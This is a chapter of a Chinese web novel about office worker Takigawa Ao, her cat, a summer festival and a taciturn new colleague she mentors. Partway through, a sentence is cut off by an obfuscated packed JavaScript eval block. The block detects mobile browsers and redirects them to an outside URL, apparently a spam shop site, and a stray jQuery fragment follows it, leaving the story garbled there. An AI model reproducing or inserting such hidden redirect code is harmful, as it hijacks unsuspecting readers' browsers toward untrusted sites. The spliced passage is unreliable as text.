忘记?忘记了什么?


    泷川绪看着电脑屏幕,她思考这个问题已经好几天了,狸花猫的眼睛在脑海里越来越清晰。


    他没有流露出难过,好像习惯了,那点愤怒也只是针对她…消失很久?


    从中读出的信息令她混乱,记忆被打乱成一块又一块拼图。


    仔细翻阅后,女性确定自己没有见到他的身影,拼图从始至终都严丝合缝地嵌在一起。


    真奇怪啊,明明忘记是一个沉重又钝痛的词,为什么能够习惯,正确的反应应该是揪着忘记者的领子怒斥,哦,忘了他是一只猫。


    那就用魔法狠狠教训忘记的人啊!


    想了不下五道酷刑,不限于用羽毛挠脚底板的泷川绪呆了一瞬,突然想起了忘记的人好像是她。


    咳咳咳,人嘛,忘记东西很正常。


    记忆这种看不见摸不着的东西总是会随着年纪失去,不去刻意地回忆就会被大脑过滤,怎么也寻不到。


    也许…也许他是那些陪着自己的猫咪中的一只…也可能是偶然救助过的猫咪。


    遇到的猫实在太多了…这不能怪她。


    也许她和小说女主一样被车撞失忆了,发烧失忆了也说不定。


    无厘头想了很多诡异的失忆方式,女性最后得出一个结论。


    要是云雀和斑一样会说话就好了。


    这样她就可以直接问,而不是胡乱猜测,但直觉告诉她即使能说话云雀也不会和盘托出。


    他一看就不是能和人安安静静坐下来促膝长谈的性格。


    所以…究竟忘记了什么呢…


    .


    “绪酱…绪酱?”


    “泷川绪!”


    竹内诗织凑近,一脸严肃地看着魂不守舍的好友,


    “你在想什么?刚刚开会的时候也是…对着社长露出痴呆的表情。”


    魂都不知道飘到哪里去了,脑袋还在一个劲地点头,身为好友的女性知道这是她敷衍时的常用动作。


    “所以你知道月底公司要去温泉旅馆团建吗?”


    “嗯…嗯?”


    团建?好像确实听见了放松,泡温泉什么的…


    竹内诗织一副拿你没办法的表情,把须知又讲了一遍才小声吐槽。


    都快背下来了,真不知道为什么,每年夏天除了去泡温泉就是去泡温泉。


    “听说是因为上面的神社许愿很灵…社长还专门敬献了一座鸟居。”


    泷川绪扯扯嘴角,轻咳一声,红发女性以为她要发表什么长篇大论,侧耳倾听。


    “要是有神的话,可以给我涨工资吗?”


    “…”


    她就知道,毕竟好友每年去神社写的愿望就是涨工资。


    红发女性皮笑肉不笑,戳着她的脑袋瓜,语气温柔至极。


    “亲,这边建议去和老板反馈呢…”


    .


    要不然还能许什么愿望,成为魔法少女拯救世界?


    不,这种愿望想也知道很离谱,一点实现的可能性都没有,而且她可是品鉴过小圆的人,不想上班路上掉下来一个丘比问她:


    “你想和我签订契约成为马猴烧酒吗?”


    有活着的风险吗?


    …该死的,她二十多了,已经到了想当魔法少女都会被嫌弃老的年纪了。


    泷川绪摇摇头觉得好笑。


    “比起这个,你想好这周末的夏日祭怎么过了吗?”


    竹内诗织撑着头,指尖点点日历上画了红圈的数字。


    往年都是诗织和她一起逛祭典,但今年的好友有事要回家,抽不开身。


    没有认识诗织之前的夏日祭都是怎么过的呢…大学时候忙于打工挣学费,因为那段时间的工资很高。


    工作后,空下来的她喜欢一个人待在家里,关着灯侧躺在床上看外面灿烂的烟花,一朵接着一朵的,似乎永远都不会停,高高地固定在天空中。


    等掉下来后,又只剩下黑色的天空。


    不过大多时候鱼豆腐会跳到窗户上叫她出去看烟花,泷川绪便穿着睡衣跑到附近公园的草坪和猫咪作伴。


    湖面和天上都有烟花,女性觉得自己看了两场烟花,也算补了以前没看过的。


    很多猫咪围在她身边,一些活泼的会伸爪子捞河里的烟花倒影,一个不小心扎进去后扑腾上岸对着猫群甩水,被集体围殴。


    虽然身上湿哒哒的,回去还得洗澡洗衣服,但快乐像冒泡的汽水咕嘟咕嘟塞满了胸口。


    更何况今年还有家里的小猫。


    这是她们在一起过的第一个夏日祭。


    “我会和我的猫一起过。”


    不用担心我会孤单,诗织。


    “是嘛…那就好。”


    红发女性摸摸好友的脑袋打趣道,


    “看来我在你心里的地位要被撼动了…”


    “诗织是最重要的朋友,猫咪是最重要的家人。”


    还有斑和夏目,塔子阿姨,他们都是她最重要的家人。


    家人和朋友是不一样的。


    真是的,太犯规了啊…这种表达在意的方式。


    竹内诗织感慨地捏了把她滑嫩的脸蛋,突然想起什么似的开了口:


    “差点忘了,绪酱你被分了一个新人,这几天需要领着她熟悉公司的业务。”


    啊?我吗?被分配了一个新人?


    .


    不给泷川绪分新人是上司们心照不宣的决定。


    可以说,要不是她业务能力在线,经验丰富,早被开了。


    在社交能力堪比一根香蕉的那段时间,她刷新了两个月气跑三个新人的记录。


    不是女性脾气差,也不是她摆架子,相反她的态度比其他人好多了。


    但好得过了头,到了阴阳怪气的地步。


    一号新人拿着漏洞百出的文件给她看时,女性指出了所有的错误,等把文件改得和原来没有半毛钱关系的时候拍拍新人的肩膀淡淡道:


    “文件做得不错,你很有天赋,加油,下次继续。”


    泷川绪当时想不明白为什么她会哭着跑开,自己只是作为前辈鼓励而已,事实上她现在也不明白。


    难不成现在的新人都有点字母属性,喜欢被骂吗?


    而另两个就更直接了,控诉每次和她说话都像被冷暴力一样。


    平静的、没有起伏的表情和语气,每次想说些什么的时候都会被嗯,很好,可以堵回去。


    像在和没有开智的机器人讲话,太煎熬了。


    泷川绪有苦说不出,自己明明已经吸收了第一次的教训,没有再说什么鼓励的话,结果还被打上冷暴力的标签。


    痛定思痛下,她打了一份报告给上司。


    为我司持续发展考虑,对于指派新人折腾(划掉)考验老员工的决定望您三思…


    话里话外没有一点对自己的反思,背后还附上了她的名字外加一个笑脸。


    显而易见的,报告被驳回了,处刑榜上多了她的名字,后面的罪行还被标红了。


    用最尊敬的语气挑衅上司,望大家引以为戒。


    ?她怎么挑衅了?


    虽然被诗织笑了好几天,但好歹之后带新人和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358957|199145||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她没什么关系了。


    于是就轮到她开始笑带新人的诗织。


    .


    即使心里百般不情愿,泷川绪还是去办公室领了新人,被摁着在办公室听了一通长篇大论,一出门就左耳朵进右耳朵出了。


    什么同事间要好好相处…这还需要说吗,不要给她安上什么恶毒的人设啊。


    身后的女孩子很乖,至少表面看上去是这样,棕色的眼睛让她想起了某位故人。


    女性和她打了个招呼后没有多说什么就进入了正题,大致讲解了一番就递给她几个小文件练练手。


    这位叫桑原晴的新人安静地不像话,从头到尾只乖巧地点头。


    省心得有点不正常了。


    “你…有问题要问吗?”


    泷川绪难得多问了一句,对方抱着文件摇摇头,认真地回答:


    “泷川前辈您已经讲得很详细了。”


    她一时之间不知道说什么,只好点点头,看着女孩坐回工位。


    桌上还堆着一大摞文件,早上摸鱼是要下午来还的,泷川绪认命地抽出最上面的一份。


    不想加班的女性使出洪荒之力赶工,期间那女孩来过两次交做好的文件,又拿走几本。


    文件做得很好,她很有天赋。


    这回不是鼓励,是真话。


    条理很清晰,根据文件打出的数据也很准确,这让她多看了几眼。


    就是这个性格…怎么这么眼熟。


    “好的,前辈。”


    “还有问题吗,前辈。”


    “前辈,这里有个数据错误。”


    “前辈,您的说法有错误。”


    淦,怎么说得都是她的台词?还有…这不就是当初的自己的plus版吗,她就说怎么让她带新人,原来在这等着她呢!


    竹内诗织在斜前方露出幸灾乐祸的表情,毕竟她受新人摧残的时候,泷川绪没少嘲笑过她。


    冤冤相报何时了。


    可惜她早已不是之前的泷川绪了,她现在可是进阶版。


    “你很有才能,桑原。”


    “干得不错。”


    “很好。”


    女性毫不吝啬自己的夸奖,对于与自己性格相似的女孩更是直接。


    终于,桑原晴先招架不住了,她有些奇怪地盯着眼前的前辈,那模样与过载的人机有几分相似,但多了不少人气。


    “您…”


    她可是气得不少前辈撂担子了,这位怎么…


    “有什么问题吗?优秀的人就应该得到夸奖。”


    泷川绪合上文件,女孩在那张脸上看出一丝尴尬,


    “而且很不巧,我和你一样,气走了不少新人,你大概是我带的最后一个新人。”


    啊?


    桑原晴茫然地眨眼,好一会儿才理解她的意思,不自觉地弯起嘴角。


    好有趣的前辈。


    黑发女性拍拍她的肩膀,内心感叹两人还是很不一样的。


    至少女孩不是个面瘫。


    “多笑笑吧,你笑起来很好看。”


    新人愣住了,半晌点点头,再抬头时,眼里带着细碎的光。


    “谢谢,泷川前辈。”


    “对了…”


    泷川绪凑近,小声提醒这位她看好的后辈,


    “电脑上有监控,不要搜奇奇怪怪的东西。”


    “…好的,前辈。”


    桑原晴认真地记在小本本上,既然是前辈说的话,那一定有她的道理。


    竹内诗织扶额苦笑。


    不要带坏可爱的后辈啊,绪酱。